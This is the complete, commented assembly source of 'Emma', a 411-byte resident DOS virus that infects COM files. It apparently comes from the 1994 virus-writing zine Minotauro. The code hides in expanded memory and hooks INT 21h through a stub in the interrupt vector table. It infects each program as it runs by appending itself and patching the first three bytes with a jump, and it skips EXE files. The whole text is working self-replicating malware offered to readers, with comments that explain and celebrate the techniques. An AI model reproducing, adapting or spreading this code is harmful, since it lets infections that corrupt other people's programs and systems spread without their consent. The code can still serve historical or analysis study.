Minotauro nº4:(EMMA_10.ASM):08/10/1994 << Back To Minotauro nº 4
; Emma.1.411 ; --------------------------------------------------------------------------- ; ! Virus Name: Emma ! ; ! Version: 1 ! ; ! Type: Parasitic, Resident, COM Infector ! ; ! Length: 411 bytes ! ; --------------------------------------------------------------------------- ; Descripcion tecnica: ; o Modo de residencia: Rutina sobre la IVT + pagina de EMS. El codigo ; del virus se encuentra en EMS y la rutina (muy corta) sobre la ; IVT mapea el virus en memoria baja y le da el control. ; o Metodo de infeccion: totalmente convencional. Se pone el JMP al ; principio del file, apuntando al virus, y luego del virus, ; restaurados los 3 bytes originales, se entrega el control al hoste ; o No hay reinfeccion de files, utilizando no el metodo de busqueda ; de una 'marca' (ya sea esta dentro del file o en sus atributos, ; etc) sino mirando en los 3 primeros bytes (ya que de todas formas ; estos deben ser leidos, esto salva codigo) ; o El virus diferencia entre COM y EXE verdaderos, y deja intactos ; los EXE ; Comentarios: ; o Un problema de dificil solucion gravita sobre toda la familia EMMA ; de virus. Se trata de que el hecho de mapear una pagina sobre el ; page frame DENTRO de int 21 colisionaria con programas que usen ; la EMM, provocando una escandalosa caida del sistema. ; o El codigo esta bastante optimizado. Aun asi, el largo es excesivo ; para un virus de estas caracteristicas, ya que preferi sacrificar ; un poco de codigo, pero hacerlo 'ampliable' y 'upward compatible' ; o La prevencion de errores es casi nula. ; o El residence test es notoriamente elemental. En futuras versiones ; esto se podria rever y mejorar. ; Side Note: ; Ojo la parte residente es NETAMENTE NO-REENTRANTE! por el hecho del mapeo ; de la pagina en memoria alta. Decidi utilizar una Busy Flag aun cuando el ; largo del codigo agregado es demasiado, por el hecho de que la Busy Flag se ; encuentre en memoria baja (en la IVT). El largo del codigo agregado es de ; 28 bytes. A primera vista esto no es viable, ya que haciendo CALL WORD ; PTR [OLDINT21] en lugar de cada INT 21, (en esta version del virus) solo ; habria 14 bytes mas. Pero en futuras versiones, la cosa se agrandaria, pues ; al haber mas rutinas que corren dentro de INT 21, habria mas CALLS. Esto ; ya deja la cosa asi para el futuro. Otra forma seria (ya que usamos la IVT) ; usar una INT alternativa, como hace el virus AT. JEJEJE. en todo caso habra ; que ver, en el futuro lo podremos cambiar. ; ya funca OK yeah! ; Esquema: ; [Fake Hoste] ; [Virus : ; 1 - Data ; 2 - Resident Part ; a - Low Memory Handler [+data] ; b - High Memory Int 21 Handler ; c - COM infector ; 3 - Transient Part ; a - COM installer ; b - Memory Management routine] ; Emma segment para public assume cs:emma, ss:emma org 100h .386 VirLen equ offset VirEnd-offset VirBegin Start: ; --------------------------------------------------------------------------- ; Fake Hoste db 0e9h dw offset VirBegin-offset Start-3 int 21h ; --------------------------------------------------------------------------- ; Virus Begins Here VirBegin: jmp InstallCom ; --------------------------------------------------------------------------- ; Data OrBytes db 0b8h, 0, 4ch ; 20h-3 dup(0) <== esto iria pal ;EXE EMMString db "EMMXXXX0" ReadBuff db 0e9h, "MP" ; Identificacion. Sacar luego, si molesta, jejeje ; VirName db "EMMA virus " ; db "(Expanded Memory Major Anoyance) " ; Author db "By Trurl " ; Location db "Bs As, 1994" ; --------------------------------------------------------------------------- ; Resident PArt Int21Entry: ; Note: Here we map a page into the page frame without concerning about ; what could be mapped there. This must be solved later. pushf ; check busy flag cmp byte ptr cs:[offset BusyFlag-offset Int21Entry], 0 jnz WereBusy pusha mov ax, 4400h xor bx, bx mov dx, cs:[offset Handle-offset Int21Entry] int 67h popa popf db 09ah ; CALL FAR Note that PFrame must be continuous dw offset Int21Handler-offset VirBegin PFrame dw 0 pusha pushf mov ax, 4400h mov bx, 0ffffh mov dx, cs:[offset Handle-offset Int21Entry] int 67h mov bp, sp mov ax, [bp] mov [bp+2+16+4], ax popf popa iret ; Data necesary for this 'lonely' routine Handle dw 0 BusyFlag db 0 WereBusy: popf db 0eah OldInt21 dd 0 EndInt21Entry: Int21Handler: pushf xchg ax, dx cmp dx, 4b00h jz RunProgFunc xchg ax, dx call cs:dword ptr [offset OldInt21-offset VirBegin] retf RunProgFunc: popf call ShiftFlag xchg ax, dx push ds push dx pushf ; Run program call cs:dword ptr [offset OldInt21-offset VirBegin] pushf pusha push ds mov bp, sp lds dx, [bp+20] mov ax, 3d02h ; Open File int 21h xchg bx, ax mov ah, 3fh ; Leer 3 bytes mov cx, 3 push cs pop ds mov dx, offset OrBytes-offset VirBegin int 21h mov ax, 4202h ; goto eof cwd xor cx, cx int 21h sub ax, 3 push ax sub ax, VirLen cmp ax, word ptr ds:[offset OrBytes-offset VirBegin+1] jz AlreadyInfected ; Prevent Reinfection mov ax, 'ZM' cmp ax, word ptr ds:[offset OrBytes-offset VirBegin] jz AlreadyInfected ; Don't infect EXE's pop ax mov word ptr ds:[offset ReadBuff-offset VirBegin+1], ax mov ah, 40h ; Write Virus mov cx, VirLen cwd int 21h mov ax, 4200h ; Goto Begining of file xor cx, cx cwd int 21h mov ah, 40h ; Write JMP mov cx, 3 mov dx, offset ReadBuff-offset VirBegin int 21h jmp Done AlreadyInfected: add sp, 2 Done: mov ah, 3eh ; Close File int 21h call ShiftFlag pop ds popa push bp mov bp, sp; BP - BP, BP+2 - FLAGS, BP+4 - DX, BP+6 - DS, BP+8 - RADD lea sp, [bp+8] ; Fix Up SP for RETurn push ax mov ax, [bp+2] push ax popf pop ax mov bp, [bp] retf ; Turn on and off the fucking sonofabitch busy flag ; obviously in the vector table area, where the handler is, shit fuck ShiftFlag: push ax push ds mov ax, 24h mov ds, ax xor byte ptr ds:[offset BusyFlag-offset Int21Entry], 1 pop ds pop ax ret ; --------------------------------------------------------------------------- ; Non-Resident (Installing) Part InstallCom: pusha mov bx, cs:[101h] ; get off. of vir in mem. add bx, 103h call InstallMem ; install mov di, si ; virus relys on SI=100 on program entry lea si, [bx+offset OrBytes-offset VirBegin] movsb ; restore original bytes movsw popa jmp si ; get out InstallMem: ; Hace toda la alocacion en memoria y hookeo de ints. Conserva los registros. ; Entrada: BX offset del Virus en memoria push bx push si push es push ds push bx; para salvar el adress push bx; ; Already-Resident check push ds mov ax, 24h mov ds, ax cmp word ptr ds:[0], 2e9ch pop ds jz NotPresent ; The virus is already loaded ==> jmp to NotPresent ; First we must detect whether an EMM is loaded or not. If it's not, we ; must not load (we'll do it that way by now). If it is, we do the ; EMM load. lea si, [bx+offset EMMString-offset VirBegin] mov ax, 3567h ; We'll use the Get Interrupt Method of finding out int 21h ; if an EMM is present or not. mov di, 10 ; offset of EMMXXXXX0 within Device Driver mov cx, 8 repz cmpsb jnz NotPresent mov ah, 42h ; Check that there is at least one page free int 67h ; (Since there is no error detection...) cmp bx, 1 jl NotPresent mov ah, 41h ; Get Page Frame Add. int 67h pop si ; si <=== adress of virus in hoste seg. mov cs:word ptr [offset PFrame-offset VirBegin+si], bx mov es, bx mov ah, 43h ; Allocate one Page mov bx, 1 int 67h mov cs:word ptr [offset Handle-offset VirBegin+si], dx ; Save Handle mov ax, 4400h ; Map the page mov bx, 0 int 67h ; Hangs and all that crap mov ax, 3521h int 21h ; si must hold address of virus. (if code is added, push) mov cs:word ptr [offset OldInt21-offset VirBegin+si], bx mov cs:word ptr [offset OldInt21-offset VirBegin+2+si], es mov es, cs:word ptr [offset PFrame-offset VirBegin+si] xor di, di ; Copy the virus ; si must hold address of virus. (if code is added, push) mov cx, VirLen repz movsb mov ax, 4400h ; UnMap the page mov bx, 0ffffh int 67h mov di, 24h mov bx, di mov es, di xor di, di pop si ; si <=== adress of virus in hoste seg. add si, offset Int21Entry-offset VirBegin mov cx, offset EndInt21Entry-offset Int21Entry repz movsb mov ds, bx xor dx, dx mov ax, 2521h int 21h jmp OutLStack NotPresent: add sp, 4 OutLStack: pop ds pop es pop si pop bx ret VirEnd: ends end Start